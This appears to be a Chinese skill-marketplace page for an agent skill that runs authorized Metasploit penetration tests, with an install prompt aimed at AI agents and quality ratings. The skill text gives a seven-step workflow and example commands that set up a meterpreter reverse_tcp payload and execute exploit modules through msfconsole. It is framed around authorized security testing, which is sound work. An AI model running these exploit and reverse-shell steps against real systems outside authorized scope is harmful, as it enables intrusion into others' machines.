metasploit
安装方式
先用 Prompt 核对来源与依赖。也可下载安装包。
用 AI 助手安装
复制提示词,让助手先核对固定版本和依赖。
查看 Prompt收起 Prompt
先检查当前 Agent 是否已安装 SkillPI Skill Finder。如果尚未安装,请按官方仓库的说明安装并启用:https://github.com/Findskills/skillpi。然后使用 Skill Finder 打开此 SkillPI 详情页并定位 "metasploit":https://skillpi.com/zh/skills/deepskill-8f306b6114cb5a9256ccecee15c6186542bed7bcb8ab633933fd3a0935382267。安装前核对上游来源和版本:https://github.com/TerminalSkills/skills。来源不一致时停止并说明差异。核对通过后,用 Skill Finder 安装目标 Skill,并报告安装路径和来源版本。
来源与配置
github.com
配置方式待核实
请查看原始来源中的适用工具、依赖和权限要求。
安装实测待补充
Metasploit:用于在渗透测试中利用已知漏洞的框架。适用于根据已知 CVE 生成载荷、执行后渗透操作、通过网络进行横向移动或构建利用链的场景。
介绍来源: third_party · TerminalSkills · 1.0.0 参考来源
SkillPi 解读
- 能完成的任务
- 翻译待完成,请参阅来源文档。
- 实测状态
- 未测试
文件浏览
Frontmatter
name: openclaw-metasploit
description: Plan and execute authorized Metasploit assessments for OpenClaw tasks with repeatable workflows, including target triage, exploit module selection, option tuning, .rc generation, controlled execution, and evidence-focused reporting. Use when requests involve msfconsole operations, module/payload matching, exploit/check automation, session verification, or pentest result writeups.OpenClaw Metasploit
Overview
Use this skill to run deterministic and auditable Metasploit workflows for authorized security testing.
Prefer a check-first workflow and generate repeatable .rc scripts via scripts/build_rc.py instead of ad hoc console typing.
Workflow Decision Tree
- Confirm authorization and scope before any technical step.
- Collect target facts: service, version, network position, and constraints.
- Select candidate modules and payloads using module-selection.md.
- Generate and review a resource script with
scripts/build_rc.py. - Execute in
msfconsolewithcheckbeforerunorexploit. - Validate outcome with session and artifact evidence.
- Produce a concise report with reproducible commands and findings.
Step 1: Confirm Scope and Safety
Require explicit confirmation of:
- Target ownership or testing authorization
- In-scope hosts, ports, and time window
- Forbidden techniques (DoS, persistence, data exfiltration)
If scope is unclear, stop and ask for clarification before proceeding.
Step 2: Build Target Context
Capture minimum actionable context:
- Host and network placement
- Service and version fingerprint
- Authentication state
- Environmental constraints (egress filtering, AV/EDR, uptime sensitivity)
Use this context to justify each module choice.
Step 3: Select Modules and Payloads
Use search and info in msfconsole to narrow candidates:
search type:exploit cve:2023 service:http
info exploit/linux/http/<module_name>
show options
show payloads
Choose modules by:
- Reliability and target compatibility
- Required options completeness
- Post-exploit objective fit (shell type, architecture, privilege level)
For common mappings and tradeoffs, read module-selection.md.
Step 4: Generate Resource Script
Generate reproducible execution scripts:
python3 scripts/build_rc.py \
--module exploit/linux/http/example_module \
--rhosts 10.10.10.15 \
--rport 8080 \
--payload linux/x64/meterpreter/reverse_tcp \
--lhost 10.10.10.5 \
--lport 4444 \
--set TARGETURI=/app \
--check \
--job \
--output run_example.rc
Review generated commands before execution:
- Confirm no out-of-scope hosts
- Confirm payload and listener values
- Confirm optional settings are intentional
Step 5: Execute in msfconsole
Run with logging enabled:
msfconsole -q -r run_example.rc
Inside msfconsole, verify:
checkoutput statusrunorexploitresultsessions -lvisibility
If exploitation fails, adjust one variable at a time and re-run.
Step 6: Validate and Capture Evidence
Minimum evidence set:
- Module path and key options
- Command/script used for execution
- Check result and exploit result
- Session details (type, user, host)
- Relevant non-sensitive proof artifacts
Use workflow.md for command-level checklists and reporting structure.
Step 7: Report
Produce output with:
- Objective and scope
- Reproducible steps
- Outcome and confidence
- Impact summary
- Recommended remediation and verification method
Keep reports concise and technically verifiable.
Resources
scripts/build_rc.py
Generate a repeatable Metasploit .rc resource script from structured options.
references/module-selection.md
Module and payload selection heuristics with common service mappings.
references/workflow.md
Command checklist for execution, troubleshooting loop, and report field requirements.
当前收录版本
1.0.0
质量评测
满分100 · 来自 SkillPi LAB 实验室的评测报告。
亮点
- 提供完整的 Metasploit 渗透测试工作流,从授权确认到报告生成的闭环流程
- 强调安全性和可审计性,包含 check-first 原则和可重复脚本生成
亮点
- 触发场景描述全面且精准,覆盖渗透测试核心需求(CVE利用、载荷生成、后渗透等)
- 边界清晰,无歧义或重叠风险
亮点
- 7步工作流结构清晰,每个步骤有明确目标和操作指导
- 包含完整的端到端示例和 frontmatter 规范
亮点
- 工具来源明确,参数示例具体合理
- 覆盖主要异常场景,不可逆操作有确认机制
取前四项原始分值的算术平均,四舍五入取整。可通过收录报告核对各项评分与说明,运行记录需单独查证。
正文静态检测
100 / 100 · skillpi-20261123-no-r3-v1
正文未命中当前规则。
分数仅反映正文中的规则命中,供使用前参考。附件与运行行为不在此评分范围内。
权限与使用前检查
根据当前主文档自动整理,命中内容可能是示例或防护说明;不是实际权限声明,也未覆盖附件、外部依赖或运行行为。
未从主文档识别到上述常见操作,不能据此判断无需权限或没有风险。
安全评级与访问范围
safe · 静态证据核验,不代表运行安全保证。
使用前请由宿主核对并授权实际文件读写、外部服务和联网目的地;本站的核验不会授予任何运行权限。
用户讨论
还没有已核实的点评。